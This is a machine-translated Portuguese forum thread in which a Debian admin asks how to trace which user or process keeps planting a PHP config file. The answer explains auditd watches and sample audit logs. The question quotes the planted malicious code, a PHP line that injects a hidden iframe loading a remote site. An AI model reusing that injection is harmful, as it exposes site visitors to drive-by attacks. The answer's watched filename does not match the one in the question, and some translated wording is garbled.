Como monitorar mudanças de arquivos / diretórios

1

Eu tenho um servidor rodando o Debian Lenny. Recentemente, encontrei alguns problemas de segurança. Eu estou vendo especificamente um arquivo ser criado dentro do /etc/php5/conf.d chamado 'php-dev.ini'. À primeira vista, o arquivo parece normal e inofensivo, até você abri-lo. Continha:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>

Obviamente, eu sei que o servidor tem um problema de segurança, então por favor me poupe de "você corrigiu o servidor?" respostas. Isso já está feito. O servidor foi verificado quanto a um rootkit e não há contas suspeitas. Eu estou especialmente interessado em qual usuário ou PID está escrevendo para este diretório e estou procurando quais ferramentas podem ser usadas para me ajudar. Eu olhei para 'iwatch' e 'inotify', mas queria obter algum feedback de qualquer outra pessoa antes de ir a um caminho de pesquisa. Alguém sabe de uma boa ferramenta que me ajudaria a identificar:

  1. qual usuário está gravando neste diretório
  2. qual PID foi usado para gravar o arquivo
  3. qual aplicativo está gravando neste diretório

Basicamente, estou procurando fazer alguma análise forense e aprender sobre o monitoramento de sistemas de arquivos. Qualquer insight seria muito apreciado.

(Editado para citar o exemplo de código PHP, pois não foi exibido anteriormente.)

    
por SoMoSparky 04.08.2011 / 07:56

1 resposta

9

O kernel Linux tem subsistema de auditoria desde o lançamento da série 2.6. Juntamente com o daemon auditd e várias ferramentas de relatório, como aureport e ausearch , permite um monitoramento muito refinado.

Então, digamos que você queira monitorar esse diretório /etc/php5/conf.d , ou possivelmente apenas /etc/php5/conf.d/php-dev.ini file. Primeiro instale o auditd e execute-o; deve ser tão fácil quanto apt-get install auditd .

Em seguida, o monitor de instalação desse arquivo:

auditctl -w /etc/php5/conf.d/php5-dev.ini -p war -k uniquekeyforidentifyingthiswatch

A chave exclusiva ajuda você a pesquisar logs possivelmente grandes se estiver fazendo muitas auditorias.

Depois, para ver se algo interessante aconteceu nesse arquivo:

ausearch -f /etc/php5/conf.d/php5-dev.ini

Isso deve produzir um relatório semelhante a este (eu acabei de configurar um relógio para /etc/elinks.conf para fins de demonstração para você):

----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71152): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71152):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71152): arch=c000003e syscall=191 success=yes exit=27 a0=2601ce0 a1=3c12015d8b a2=26d1a60 a3=ff items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71153): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71153):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71153): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=0 items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71154): item=1 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=PATH msg=audit(1312439060.306:71154): item=0 name="/etc/" inode=12 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71154):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71154): arch=c000003e syscall=87 success=no exit=-13 a0=2601ce0 a1=0 a2=0 a3=3c107933ac items=2 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71155): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71155):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71155): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=3c107933ac items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"

Uau, muita coisa lá dentro. Você verá o nome do arquivo e seu número de inode que foi acessado, dispositivo bruto, contexto do SELinux (se o SELinux for usado), caminho atual que o usuário / processo teve ao tentar executar a operação, falhou / sucedeu solidar , uid / gid / effective uid do usuário e as possíveis ACLs do sistema de arquivos, tty onde a operação foi executada, comando e a final executável o comando led, função SELinux e assim por diante. Acabei de abrir esse arquivo para vim .

Mais monitoramento pode ser feito instalando a estrutura de segurança, como grsecurity ou SELinux . Especialmente o grsecurity pode ser útil, pois com ele você pode mais facilmente (comparado ao SELinux) configurar um grupo de usuários especial que é auditado e então você pode registrar possíveis garfos, sinais, tentativas de escape chroot e assim por diante. Mas isso pode ser um exagero e um fardo para você assistir.

    
por 04.08.2011 / 08:34